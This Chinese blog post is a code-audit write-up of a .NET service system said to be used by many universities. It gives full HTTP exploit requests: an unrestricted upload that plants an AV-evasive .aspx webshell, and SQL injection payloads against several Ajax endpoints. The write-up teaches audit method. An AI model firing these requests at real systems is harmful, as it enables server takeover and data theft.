代码审计 - .NET - 通用系统审计

前言

代码审计篇章都是自己跟几个师傅们一起审计的1day或者0day(当然都是小公司较为简单),禁止未经允许进行转载,发布到博客的用意主要是想跟师傅们能够交流下审计的思路,毕竟审计的思路也是有说法的,或者是相互源码共享也OK,本次审计的目标是大多高校用的一个通用系统,本篇原作者为@冬夏@Segador师傅 由于带着我审了下.NET的站点于是有了这篇文章

黑盒

黑盒的过程大概讲述一下即可,其实就是有个注册的接口进行注册,然后通过注册进去后直接上传一个免杀马(听@Segador说是还需要加入PNG的头部绕一下(其实在CTF中确实也比较常见啥PNG头啊GIF89a啊啥的都行吧)),传上去就可以解析了,于是源码就有了

审计

前置知识

在此之前先了解c#​每个文件的含义,以便是0基础的师傅也能看懂什么意思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
aspx:应用程序根目录或子目录,包含web控件与其他cs:类文件aspx.cs:web窗体后台程序代码文件

ascx:应用程序根目录或子目录,Web 用户控件文件

asmx:应用程序根目录或子目录,该文件包含通过 SOAP 方式可用于其他 Web 应用程序的类和方法

asax:应用程序根目录,通常是Global.asax

config:应用程序根目录或子目录,通常是web.config

ashx:应用程序根目录或子目录,该文件包含实现 IHttpHandler 接口以处理所有传入请求的代码

soap:应用程序根目录或子目录 soap拓展文件dll:在ASP.NET Web应用程序中,通常会将每个页面或控件编译成一个独立的DLL文件。这些DLL文件包含了与页面相关的代码、控件、用户控件等。当用户访问网站时,ASP.NET引擎会动态加载这些DLL文件以提供所需的功能

那么就一句话概括,重点就是看dll,aspx或者aspx.cs这三个文件

了解每个文件的意思之后,我们在定位到Default.aspx​这个文件,查看AutoEventWireup​、CodeFile​、Inherits​这三个参数

1
2
3
4
5
AutoEventWireup(自动事件绑定):这是一个布尔值属性,用于指示编译器是否自动连接页面的事件处理程序。如果设置为true,则编译器会自动尝试将命名为特定模式的方法与页面的生命周期事件相关联,例如Page_Load或Button_Click等。如果设置为false,则需要手动显式地将事件与处理程序绑定。

CodeFile`(代码文件:在ASP.NET中,这是指包含与页面相关代码的文件。在Web Forms中,一个页面通常由两部分组成:.aspx文件(包含HTML和控件布局)和.aspx.cs(C#代码)或.aspx.vb(VB.NET代码)文件。CodeFile属性用于指定与.aspx页面关联的代码文件。Inherits(继承):这是指定代码文件中类的基类的属性。在ASP.NET中,.aspx.cs或.aspx.vb文件中的类通常继承自ASP.NET提供的页面基类(如System.Web.UI.Page)。

Inherits属性用于指定页面类所继承的基类。这些概念在ASP.NET Web Forms中是很重要的,它们有助于管理页面的事件处理、代码文件的关联以及页面类的继承关系。

在一般的.NET代码中我们要重点关注inherits(继承),因为WEB应用程序会把我们写的代码编译为DLL文件存放在Bin文件夹中,在ASPX文中基本就是一些控件名,所以需要反编译他的DLL来进行审计。在bin目录应该是会存在_Default.dll一个主编译,但是在这个代码中没有这个文件,所以我们只能从aspx.cs这些文件入手。

文件上传

现在主流的框架都是mvc三层模型,这种一般我们都是观看controller层来进行寻找特定的方法(后续我会写这种源码怎么审计)那么这套源码也是我见过在.net算奇葩的,它通过ajax方式来访问特定的方法,这是登录页面来触发的

所以去查看下UserLogin.aspx.cs

那么就能猜出大概的结构

1
/ajax/文件名(UserLogin),App_Web_knyu3gfu.ashx?\_method=方法(login)&\_session=rw(ReadWrite)

既然猜出结构之后 就发现了有一个UploadFile​ 的目录

于是关注到LoalUploadFile.aspx.cs​这个文件,这里的aksk等云方面的代码进行注释也就是说并不上云。并且这里有一个特别重要的一串代码

1
namespace Soft51.CMServiceSystem.Web.UpLoadFile在.NET中,namespace(命名空间)是用于组织和管理代码的一种机制。它被用来将相关的类型、类、接口、委托等组织在一起,以便更好地管理代码结构、防止命名冲突,并提高代码的可读性和可维护性。 说人话就跟java中的Private方法类似

所以知道这串代码的意思就定位到文件保存的步骤,下面我将代码选取出去并分别解释每串所讲的意思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
[Ajax.AjaxMethod(Ajax.HttpSessionStateRequirement.ReadWrite)]
\\声明方法及变量:
saveLocalfailes方法:这是一个公共方法,返回类型为ResultFile。
file, tmpfilename, fileName:这是方法的参数,分别表示Base64编码的文件内容,临时文件名,以及原始文件名。

public ResultFile saveLocalfailes(String file, string tmpfilename, string fileName)
{
ResultFile result = new ResultFile(); //ResultFile创建了该类的一个新实例并将其分配给变量result
string type = "." + fileName.Split('.')[1]; //fileName. 它假定fileName包含一个句点(点)作为其结构的一部分,例如“example.txt”。该Split方法用于fileName使用点作为分隔符将字符串拆分为子字符串数组。该[1]索引用于获取分割字符串的第二部分,假定该部分是文件类型。然后将结果与点连接起来,创建格式为“.txt”的字符串。该字符串被分配给变量type。
result.fileName = fileName;
result.type = type; //fileName和type值分别赋给对象的fileName和属性。这将使用之前根据 确定的值来设置对象的属性

/
var httpContext = System.Web.HttpContext.Current; //获取当前HTTP上下文对象。
string http = httpContext.Request.Url.Scheme; //获取HTTP请求的协议(http或https)。
string addr = httpContext.Request.Url.Authority; //获取HTTP请求的主机地址。


string appPath = AppDomain.CurrentDomain.BaseDirectory; //获取应用程序的基目录。
string AttachmentFiles = "AttachmentFiles"; //文件夹名称。
string folderPath = Path.Combine(appPath, AttachmentFiles);

if (!Directory.Exists(folderPath)) //通过组合应用程序基目录和文件夹名称得到文件夹的完整路径。如果文件夹不存在,则创建文件夹
{
Directory.CreateDirectory(folderPath);
}

string filePath = AttachmentFiles + "/" + tmpfilename +type; //拼接得到文件相对路径。
folderPath = folderPath + "\\" + tmpfilename + type; //拼接得到文件的完整路径。
byte[] fileBytes = Convert.FromBase64String(file);
File.WriteAllBytes(folderPath, fileBytes); //将Base64编码的文件内容解码为字节数组。使用File.WriteAllBytes将字节数组写入文件。

string url = http +"://"+addr+"/"+ filePath; //进行拼接
result.url = url; //生成文件的访问URL。
return result;
}

那么知道这串代码并没有对文件后缀进行显示,也没有白名单和过滤的设置。根据上面所知的方法来构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /ajax/Soft51.CMServiceSystem.Web.UpLoadFile.LocalUpLoadFile,App_Web_o5xcnfs2.ashx?_method=saveLocalfailes&_session=rw HTTP/1.1
Host: xxxx
Cookie: ASP.NET_SessionId=xxx
Content-Length: 9361
Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

file=base64加密过后的免杀马子
tmpfilename=1
fileName=1.aspx

至此马子进行解析

SQL注入

第一处SQL

sql注入我目前的寻找方式,只能寻找每个参数是否代入sql语句中进行查询(稍微理解一下,在哪存在sql?肯定是数据交互的点,比如 注册 下载 登录 查询 信息 等地方),在查看注册代码的时候也是很明显直接将参数ParentID​直接代入到sql语句中并没有做过多的一个过滤(其实也就是靠猜了,猜他写的内容是否会带入到sql查询当中)

下面的代码接受ParentID​传参并且有order by 这种字眼所以可以大胆猜测为sql查询

那么就构造payload,根据前面所解释的结构,\_mothod​是方法,Register_BiddingBodyRegister​对应目录和文件名,session=no是因为这里没有对session进行一个限制,并且这是一个数据型的注入,可以直接用数字型-user来进行报错处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /ajax/Register_BiddingBodyRegister,App_Web_ggq5haij.ashx?_method=GetAreaChildInfo&_session=no HTTP/1.1
Host: xxxxxx
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 27
Content-Type: text/plain;charset=UTF-8
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

parentID=1-user

这个sql两个接口都可以的

这里其实有个问题,这个App_Web_ggq5haij.ashx​ 怎么来的啊?

其实后面研究了下他是得跳转的,具体跳转到时哪个ashx文件还没有解释明白,但从注册的接口中抓包就可以抓到这个目录了

第二处SQL

LocalUploadFile.aspx​文件中,也有直接进行参数拼接的语句

根据namespace​命名空间,来构造payload

1
2
3
4
5
6
/ajax/Soft51.CMServiceSystem.Web.UpLoadFile.LocalUpLoadFile,App_Web_o5xcnfs2.ashx?_method=getAttachmentType&_session=rw
分别解释每段意思
Soft51.CMServiceSystem.Web:命名空间
UpLoadFile:目录
LocalUpLoadFile:文件
getAttachmentType:方法

第三处SQL

PushCertApply.aspx​文件中,定义一个方法和两个参数,这里的进行一个try尝试,pass参数必须为0.0才能执行code参数的代入,并且这里前后有’’所以判断是字符型,从而来闭合语句构造payload

1
2
3
4
5
6
7
8
9
POST /ajax/PushCertApply,App_Web_knyu3gfu.ashx?_method=PushCertApplyByCode&_session=no HTTP/1.1
Host: xxxx
Cookie: ASP.NET_SessionId=xxx
Content-Length: 28
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36


Code=1'-(1-user)-'
pass=0.0

至此由于注入很多很多,我就不一一展示,主要展示寻找路径和理解框架,还有.net代码如何审计,这个是特例的一个例子野蛮少见的,后续我会写一篇对dll文件审计

后言

其实这篇.NET​的审计跟蛮多审计文章不同的,因为一个是他是以ajax​去起的接口,其次就是我们这次审计其实并无设置到他bin目录下的dll文件,为啥呢?因为他把逻辑都写在了cs文件当中了,所以算是比较好审计的了,这篇也算是.NET​的审计入门吧,记录下


代码审计 - .NET - 通用系统审计
https://zjackky.github.io/post/code-audit-net-general-system-audit-24d238.html
作者
Zjacky
发布于
2023年12月23日
许可协议